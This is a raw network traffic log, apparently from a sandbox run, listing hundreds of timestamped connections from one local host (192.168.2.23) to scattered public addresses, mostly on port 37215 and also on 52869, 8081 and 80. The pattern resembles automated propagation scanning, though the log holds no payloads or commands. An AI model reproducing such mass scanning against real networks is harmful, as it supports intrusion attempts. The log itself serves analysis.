Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	107.136.23.140
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	150.124.88.37
Jul 20, 2024 23:00:58.247586012 CEST	37215	34477	41.48.165.8	192.168.2.23
Jul 20, 2024 23:00:58.247585058 CEST	34477	37215	192.168.2.23	197.168.86.78
Jul 20, 2024 23:00:58.247617960 CEST	37215	34477	41.144.198.102	192.168.2.23
Jul 20, 2024 23:00:58.247647047 CEST	37215	34477	190.161.188.69	192.168.2.23
Jul 20, 2024 23:00:58.247677088 CEST	37215	34477	157.146.94.28	192.168.2.23
Jul 20, 2024 23:00:58.247705936 CEST	37215	34477	157.198.81.69	192.168.2.23
Jul 20, 2024 23:00:58.247735977 CEST	37215	34477	41.50.145.107	192.168.2.23
Jul 20, 2024 23:00:58.247791052 CEST	37215	34477	19.199.208.241	192.168.2.23
Jul 20, 2024 23:00:58.247821093 CEST	37215	34477	51.142.141.117	192.168.2.23
Jul 20, 2024 23:00:58.247849941 CEST	37215	34477	197.160.34.184	192.168.2.23
Jul 20, 2024 23:00:58.247879982 CEST	37215	34477	197.115.124.156	192.168.2.23
Jul 20, 2024 23:00:58.247908115 CEST	37215	34477	41.232.6.48	192.168.2.23
Jul 20, 2024 23:00:58.247937918 CEST	37215	34477	157.230.88.31	192.168.2.23
Jul 20, 2024 23:00:58.248250008 CEST	37215	34477	197.151.222.142	192.168.2.23
Jul 20, 2024 23:00:58.248306036 CEST	37215	34477	157.207.43.131	192.168.2.23
Jul 20, 2024 23:00:58.248336077 CEST	37215	34477	197.209.84.96	192.168.2.23
Jul 20, 2024 23:00:58.248464108 CEST	37215	34477	197.92.201.180	192.168.2.23
Jul 20, 2024 23:00:58.248584032 CEST	37215	34477	197.28.251.253	192.168.2.23
Jul 20, 2024 23:00:58.249314070 CEST	37215	34477	41.13.46.200	192.168.2.23
Jul 20, 2024 23:00:58.249408007 CEST	37215	34477	197.133.25.253	192.168.2.23
Jul 20, 2024 23:00:58.249440908 CEST	37215	34477	197.247.217.62	192.168.2.23
Jul 20, 2024 23:00:58.249470949 CEST	37215	34477	157.225.33.253	192.168.2.23
Jul 20, 2024 23:00:58.249500036 CEST	37215	34477	41.239.125.129	192.168.2.23
Jul 20, 2024 23:00:58.249535084 CEST	37215	34477	163.95.87.60	192.168.2.23
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	197.64.180.236
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	197.247.106.185
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	197.112.222.157
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	197.244.173.225
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	41.53.184.177
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	41.245.116.58
Jul 20, 2024 23:00:58.249706030 CEST	34477	37215	192.168.2.23	157.24.24.246
Jul 20, 2024 23:00:58.249752045 CEST	37215	34477	157.249.16.252	192.168.2.23
Jul 20, 2024 23:00:58.249883890 CEST	37215	34477	157.63.197.170	192.168.2.23
Jul 20, 2024 23:00:58.249984026 CEST	37215	34477	145.149.22.179	192.168.2.23
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	157.21.145.183
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	156.90.210.240
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	41.90.83.142
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	41.95.27.201
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	197.224.26.246
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	105.15.118.157
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	41.112.123.1
Jul 20, 2024 23:00:58.250000954 CEST	34477	37215	192.168.2.23	41.137.58.228
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	196.108.213.184
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	41.231.235.189
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	41.20.92.100
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	41.75.227.101
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	157.213.175.190
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	110.243.142.209
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	157.134.191.30
Jul 20, 2024 23:00:58.250111103 CEST	34477	37215	192.168.2.23	41.24.59.198
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	197.35.57.182
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	197.118.130.41
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	41.78.37.100
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	197.74.184.130
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	197.194.243.184
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	157.72.248.222
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	197.132.243.55
Jul 20, 2024 23:00:58.250346899 CEST	34477	37215	192.168.2.23	157.73.230.79
Jul 20, 2024 23:00:58.250631094 CEST	37215	34477	197.12.203.6	192.168.2.23
Jul 20, 2024 23:00:58.250690937 CEST	34477	37215	192.168.2.23	157.114.148.67
Jul 20, 2024 23:00:58.250690937 CEST	34477	37215	192.168.2.23	157.211.128.165
Jul 20, 2024 23:00:58.250690937 CEST	34477	37215	192.168.2.23	157.139.2.14
Jul 20, 2024 23:00:58.250690937 CEST	34477	37215	192.168.2.23	157.176.101.215
Jul 20, 2024 23:00:58.250691891 CEST	34477	37215	192.168.2.23	197.55.44.167
Jul 20, 2024 23:00:58.250691891 CEST	34477	37215	192.168.2.23	41.124.14.171
Jul 20, 2024 23:00:58.250691891 CEST	34477	37215	192.168.2.23	157.8.46.59
Jul 20, 2024 23:00:58.250691891 CEST	34477	37215	192.168.2.23	157.86.250.128
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	41.73.125.205
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	216.40.91.1
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	197.16.71.7
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	157.17.98.184
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	197.113.51.118
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	210.132.156.163
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	41.119.22.219
Jul 20, 2024 23:00:58.250878096 CEST	34477	37215	192.168.2.23	41.37.144.8
Jul 20, 2024 23:00:58.251267910 CEST	37215	34477	157.139.28.102	192.168.2.23
Jul 20, 2024 23:00:58.251315117 CEST	37215	34477	157.63.143.206	192.168.2.23
Jul 20, 2024 23:00:58.251347065 CEST	37215	34477	197.118.146.83	192.168.2.23
Jul 20, 2024 23:00:58.251377106 CEST	37215	34477	155.165.181.96	192.168.2.23
Jul 20, 2024 23:00:58.251405954 CEST	37215	34477	206.176.8.137	192.168.2.23
Jul 20, 2024 23:00:58.251435995 CEST	37215	34477	137.33.55.254	192.168.2.23
Jul 20, 2024 23:00:58.251463890 CEST	37215	34477	41.12.12.126	192.168.2.23
Jul 20, 2024 23:00:58.251493931 CEST	37215	34477	1.136.199.61	192.168.2.23
Jul 20, 2024 23:00:58.251523018 CEST	37215	34477	157.229.17.57	192.168.2.23
Jul 20, 2024 23:00:58.251823902 CEST	37215	34477	41.190.181.48	192.168.2.23
Jul 20, 2024 23:00:58.251853943 CEST	37215	34477	197.233.33.61	192.168.2.23
Jul 20, 2024 23:00:58.251882076 CEST	37215	34477	139.13.89.177	192.168.2.23
Jul 20, 2024 23:00:58.251914978 CEST	37215	34477	197.124.34.30	192.168.2.23
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	197.196.77.201
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	157.32.103.4
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	157.243.7.84
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	197.95.169.228
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	197.75.123.93
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	197.67.20.2
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	197.99.9.223
Jul 20, 2024 23:00:58.253303051 CEST	34477	37215	192.168.2.23	41.222.48.132
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	157.129.226.209
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	197.235.150.198
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	41.130.229.37
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	41.156.85.195
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	157.143.234.224
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	197.197.73.14
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	58.150.96.208
Jul 20, 2024 23:00:58.253603935 CEST	34477	37215	192.168.2.23	157.170.103.64
Jul 20, 2024 23:00:58.253937960 CEST	37215	34477	113.30.251.105	192.168.2.23
Jul 20, 2024 23:00:58.253979921 CEST	37215	34477	41.203.224.247	192.168.2.23
Jul 20, 2024 23:00:58.254010916 CEST	37215	34477	157.187.188.100	192.168.2.23
Jul 20, 2024 23:00:58.254039049 CEST	37215	34477	197.36.116.167	192.168.2.23
Jul 20, 2024 23:00:58.254067898 CEST	37215	34477	197.173.93.85	192.168.2.23
Jul 20, 2024 23:00:58.254097939 CEST	37215	34477	197.175.112.209	192.168.2.23
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	157.113.160.230
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	41.128.110.44
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	197.229.227.49
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	157.59.116.210
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	157.234.41.166
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	41.50.33.93
Jul 20, 2024 23:00:58.254520893 CEST	34477	37215	192.168.2.23	41.229.84.234
Jul 20, 2024 23:00:58.255120993 CEST	37215	34477	157.115.23.92	192.168.2.23
Jul 20, 2024 23:00:58.255213976 CEST	37215	34477	197.236.128.48	192.168.2.23
Jul 20, 2024 23:00:58.255247116 CEST	37215	34477	41.39.168.222	192.168.2.23
Jul 20, 2024 23:00:58.255276918 CEST	37215	34477	197.92.38.185	192.168.2.23
Jul 20, 2024 23:00:58.255307913 CEST	37215	34477	41.215.110.81	192.168.2.23
Jul 20, 2024 23:00:58.255337000 CEST	37215	34477	41.244.169.9	192.168.2.23
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	197.137.254.119
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	41.184.89.253
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	41.240.87.211
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	157.77.208.129
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	157.211.77.112
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	157.153.207.206
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	41.224.244.226
Jul 20, 2024 23:00:58.255458117 CEST	34477	37215	192.168.2.23	155.28.185.96
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	197.160.117.109
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	41.232.172.92
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	41.248.83.42
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	198.254.9.254
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	197.26.114.175
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	81.147.177.5
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	197.67.79.4
Jul 20, 2024 23:00:58.255723000 CEST	34477	37215	192.168.2.23	157.54.130.2
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	103.34.160.230
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	157.115.232.41
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	41.75.68.114
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	157.129.228.162
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	67.15.208.48
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	157.230.177.125
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	197.50.46.65
Jul 20, 2024 23:00:58.255960941 CEST	34477	37215	192.168.2.23	209.253.85.199
Jul 20, 2024 23:00:58.256016970 CEST	37215	34477	41.242.166.123	192.168.2.23
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	197.217.22.246
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	197.37.15.231
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	197.182.113.83
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	157.90.253.17
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	43.131.249.62
Jul 20, 2024 23:00:58.256061077 CEST	37215	34477	157.21.145.183	192.168.2.23
Jul 20, 2024 23:00:58.256059885 CEST	34477	37215	192.168.2.23	41.48.165.8
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	157.83.139.204
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	157.118.19.128
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	41.212.198.90
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	106.58.105.64
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	130.35.88.134
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	41.168.23.211
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	197.114.117.243
Jul 20, 2024 23:00:58.256560087 CEST	34477	37215	192.168.2.23	118.76.56.217
Jul 20, 2024 23:00:58.257632971 CEST	37215	34477	157.114.148.67	192.168.2.23
Jul 20, 2024 23:00:58.257652998 CEST	37215	34477	156.90.210.240	192.168.2.23
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	197.176.41.115
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	217.159.91.139
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	64.62.112.142
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	1.70.219.104
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	41.126.189.157
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	41.144.198.102
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	157.198.81.69
Jul 20, 2024 23:00:58.258353949 CEST	34477	37215	192.168.2.23	19.199.208.241
Jul 20, 2024 23:00:58.258560896 CEST	37215	34477	41.90.83.142	192.168.2.23
Jul 20, 2024 23:00:58.258759975 CEST	37215	34477	41.95.27.201	192.168.2.23
Jul 20, 2024 23:00:58.259138107 CEST	34477	37215	192.168.2.23	157.30.105.107
Jul 20, 2024 23:00:58.259138107 CEST	34477	37215	192.168.2.23	157.146.94.28
Jul 20, 2024 23:00:58.259138107 CEST	34477	37215	192.168.2.23	197.160.34.184
Jul 20, 2024 23:00:58.259138107 CEST	34477	37215	192.168.2.23	41.232.6.48
Jul 20, 2024 23:00:58.259138107 CEST	34477	37215	192.168.2.23	197.151.222.142
Jul 20, 2024 23:00:58.259139061 CEST	34477	37215	192.168.2.23	145.149.22.179
Jul 20, 2024 23:00:58.259139061 CEST	34477	37215	192.168.2.23	197.118.146.83
Jul 20, 2024 23:00:58.259139061 CEST	34477	37215	192.168.2.23	155.165.181.96
Jul 20, 2024 23:00:58.259202957 CEST	34477	37215	192.168.2.23	97.43.136.85
Jul 20, 2024 23:00:58.259202957 CEST	34477	37215	192.168.2.23	197.10.234.194
Jul 20, 2024 23:00:58.259202957 CEST	34477	37215	192.168.2.23	157.230.88.31
Jul 20, 2024 23:00:58.259202957 CEST	34477	37215	192.168.2.23	157.207.43.131
Jul 20, 2024 23:00:58.259284019 CEST	37215	34477	197.224.26.246	192.168.2.23
Jul 20, 2024 23:00:58.259577990 CEST	37215	34477	105.15.118.157	192.168.2.23
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	197.17.32.247
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	25.6.33.130
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	197.115.124.156
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	197.92.201.180
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	197.133.25.253
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	157.225.33.253
Jul 20, 2024 23:00:58.259670019 CEST	34477	37215	192.168.2.23	206.176.8.137
Jul 20, 2024 23:00:58.259871006 CEST	34477	37215	192.168.2.23	51.142.141.117
Jul 20, 2024 23:00:58.259871006 CEST	34477	37215	192.168.2.23	197.28.251.253
Jul 20, 2024 23:00:58.259871006 CEST	34477	37215	192.168.2.23	197.247.217.62
Jul 20, 2024 23:00:58.259871960 CEST	34477	37215	192.168.2.23	41.239.125.129
Jul 20, 2024 23:00:58.259871960 CEST	34477	37215	192.168.2.23	157.249.16.252
Jul 20, 2024 23:00:58.259871960 CEST	34477	37215	192.168.2.23	157.139.28.102
Jul 20, 2024 23:00:58.259871960 CEST	34477	37215	192.168.2.23	157.187.188.100
Jul 20, 2024 23:00:58.259871960 CEST	34477	37215	192.168.2.23	197.36.116.167
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	91.110.161.158
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	41.191.248.36
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	197.71.69.91
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	140.34.44.126
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	89.73.227.199
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	41.99.7.194
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	197.77.47.158
Jul 20, 2024 23:00:58.259932041 CEST	34477	37215	192.168.2.23	25.19.64.41
Jul 20, 2024 23:00:58.261148930 CEST	37215	34477	41.112.123.1	192.168.2.23
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	41.12.12.126
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	157.229.17.57
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	197.124.34.30
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	41.203.224.247
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	157.115.23.92
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	197.236.128.48
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	41.244.169.9
Jul 20, 2024 23:00:58.261169910 CEST	34477	37215	192.168.2.23	157.21.145.183
Jul 20, 2024 23:00:58.261317015 CEST	34477	37215	192.168.2.23	1.136.199.61
Jul 20, 2024 23:00:58.261317015 CEST	34477	37215	192.168.2.23	41.190.181.48
Jul 20, 2024 23:00:58.261317015 CEST	34477	37215	192.168.2.23	197.233.33.61
Jul 20, 2024 23:00:58.261317015 CEST	34477	37215	192.168.2.23	113.30.251.105
Jul 20, 2024 23:00:58.261460066 CEST	34477	37215	192.168.2.23	197.173.93.85
Jul 20, 2024 23:00:58.261460066 CEST	34477	37215	192.168.2.23	41.39.168.222
Jul 20, 2024 23:00:58.261460066 CEST	34477	37215	192.168.2.23	41.215.110.81
Jul 20, 2024 23:00:58.261526108 CEST	37215	34477	41.137.58.228	192.168.2.23
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	190.161.188.69
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	41.50.145.107
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	197.209.84.96
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	41.13.46.200
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	163.95.87.60
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	157.63.197.170
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	197.12.203.6
Jul 20, 2024 23:00:58.262017012 CEST	34477	37215	192.168.2.23	157.63.143.206
Jul 20, 2024 23:00:58.262104988 CEST	37215	34477	157.83.139.204	192.168.2.23
Jul 20, 2024 23:00:58.262136936 CEST	37215	34477	157.118.19.128	192.168.2.23
Jul 20, 2024 23:00:58.262233973 CEST	37215	34477	41.212.198.90	192.168.2.23
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	156.90.210.240
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	41.90.83.142
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	41.95.27.201
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	197.224.26.246
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	105.15.118.157
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	41.112.123.1
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	41.137.58.228
Jul 20, 2024 23:00:58.262326002 CEST	34477	37215	192.168.2.23	157.83.139.204
Jul 20, 2024 23:00:58.262361050 CEST	54970	52869	192.168.2.23	176.229.44.248
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	137.33.55.254
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	139.13.89.177
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	197.175.112.209
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	197.92.38.185
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	41.242.166.123
Jul 20, 2024 23:00:58.263060093 CEST	34477	37215	192.168.2.23	157.114.148.67
Jul 20, 2024 23:00:58.263292074 CEST	34477	37215	192.168.2.23	157.118.19.128
Jul 20, 2024 23:00:58.263292074 CEST	34477	37215	192.168.2.23	41.212.198.90
Jul 20, 2024 23:00:58.263590097 CEST	37215	34477	130.35.88.134	192.168.2.23
Jul 20, 2024 23:00:58.263595104 CEST	48094	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:58.263633013 CEST	34477	37215	192.168.2.23	130.35.88.134
Jul 20, 2024 23:00:58.263653040 CEST	35634	37215	192.168.2.23	197.19.12.241
Jul 20, 2024 23:00:58.263827085 CEST	37215	34477	41.168.23.211	192.168.2.23
Jul 20, 2024 23:00:58.263864994 CEST	34477	37215	192.168.2.23	41.168.23.211
Jul 20, 2024 23:00:58.265937090 CEST	54936	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:58.268477917 CEST	35458	52869	192.168.2.23	126.16.187.60
Jul 20, 2024 23:00:58.268853903 CEST	52869	54970	176.229.44.248	192.168.2.23
Jul 20, 2024 23:00:58.268925905 CEST	80	48094	95.108.145.90	192.168.2.23
Jul 20, 2024 23:00:58.268942118 CEST	37215	35634	197.19.12.241	192.168.2.23
Jul 20, 2024 23:00:58.268965960 CEST	48094	80	192.168.2.23	95.108.145.90
Jul 20, 2024 23:00:58.268970966 CEST	47490	37215	192.168.2.23	157.211.128.165
Jul 20, 2024 23:00:58.268986940 CEST	35634	37215	192.168.2.23	197.19.12.241
Jul 20, 2024 23:00:58.269009113 CEST	54970	52869	192.168.2.23	176.229.44.248
Jul 20, 2024 23:00:58.269352913 CEST	52010	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:58.271707058 CEST	8081	54936	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:58.271811008 CEST	54936	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:58.272427082 CEST	38768	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:58.274113894 CEST	52869	35458	126.16.187.60	192.168.2.23
Jul 20, 2024 23:00:58.274168968 CEST	35458	52869	192.168.2.23	126.16.187.60
Jul 20, 2024 23:00:58.274331093 CEST	44282	52869	192.168.2.23	36.193.87.124
Jul 20, 2024 23:00:58.274579048 CEST	34754	37215	192.168.2.23	41.24.39.230
Jul 20, 2024 23:00:58.274735928 CEST	37215	47490	157.211.128.165	192.168.2.23
Jul 20, 2024 23:00:58.274765968 CEST	80	52010	95.87.77.137	192.168.2.23
Jul 20, 2024 23:00:58.274796009 CEST	47490	37215	192.168.2.23	157.211.128.165
Jul 20, 2024 23:00:58.274806023 CEST	52010	80	192.168.2.23	95.87.77.137
Jul 20, 2024 23:00:58.275446892 CEST	47650	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:58.276704073 CEST	54860	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:58.277697086 CEST	8081	38768	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:58.277750969 CEST	38768	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:58.278439999 CEST	44104	37215	192.168.2.23	41.123.176.91
Jul 20, 2024 23:00:58.279426098 CEST	57370	52869	192.168.2.23	70.59.242.166
Jul 20, 2024 23:00:58.281323910 CEST	54672	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:58.281692982 CEST	52869	44282	36.193.87.124	192.168.2.23
Jul 20, 2024 23:00:58.281725883 CEST	37215	34754	41.24.39.230	192.168.2.23
Jul 20, 2024 23:00:58.281749010 CEST	44282	52869	192.168.2.23	36.193.87.124
Jul 20, 2024 23:00:58.281774998 CEST	34754	37215	192.168.2.23	41.24.39.230
Jul 20, 2024 23:00:58.281949043 CEST	80	47650	95.248.79.76	192.168.2.23
Jul 20, 2024 23:00:58.281984091 CEST	8081	54860	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:58.282033920 CEST	54860	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:58.282104969 CEST	47650	80	192.168.2.23	95.248.79.76
Jul 20, 2024 23:00:58.282454967 CEST	34088	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:58.284807920 CEST	37215	44104	41.123.176.91	192.168.2.23
Jul 20, 2024 23:00:58.284848928 CEST	44104	37215	192.168.2.23	41.123.176.91
Jul 20, 2024 23:00:58.285121918 CEST	37938	37215	192.168.2.23	157.210.25.215
Jul 20, 2024 23:00:58.285473108 CEST	52869	57370	70.59.242.166	192.168.2.23
Jul 20, 2024 23:00:58.285517931 CEST	57370	52869	192.168.2.23	70.59.242.166
Jul 20, 2024 23:00:58.286355972 CEST	41562	52869	192.168.2.23	157.99.82.194
Jul 20, 2024 23:00:58.286590099 CEST	80	54672	95.55.160.81	192.168.2.23
Jul 20, 2024 23:00:58.286633968 CEST	54672	80	192.168.2.23	95.55.160.81
Jul 20, 2024 23:00:58.287568092 CEST	47314	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:58.287678957 CEST	8081	34088	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:58.287727118 CEST	34088	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:58.288647890 CEST	43772	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:58.289603949 CEST	41506	37215	192.168.2.23	157.139.2.14
Jul 20, 2024 23:00:58.290328026 CEST	37215	37938	157.210.25.215	192.168.2.23
Jul 20, 2024 23:00:58.290371895 CEST	37938	37215	192.168.2.23	157.210.25.215
Jul 20, 2024 23:00:58.291484118 CEST	52869	41562	157.99.82.194	192.168.2.23
Jul 20, 2024 23:00:58.291626930 CEST	41562	52869	192.168.2.23	157.99.82.194
Jul 20, 2024 23:00:58.292337894 CEST	38982	52869	192.168.2.23	216.174.225.184
Jul 20, 2024 23:00:58.293484926 CEST	34976	80	192.168.2.23	95.105.125.225
Jul 20, 2024 23:00:58.293616056 CEST	80	47314	95.19.197.138	192.168.2.23
Jul 20, 2024 23:00:58.293730021 CEST	47314	80	192.168.2.23	95.19.197.138
Jul 20, 2024 23:00:58.294467926 CEST	8081	43772	8.92.127.66	192.168.2.23
Jul 20, 2024 23:00:58.294506073 CEST	43772	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:58.295052052 CEST	55466	8081	192.168.2.23	96.99.34.154
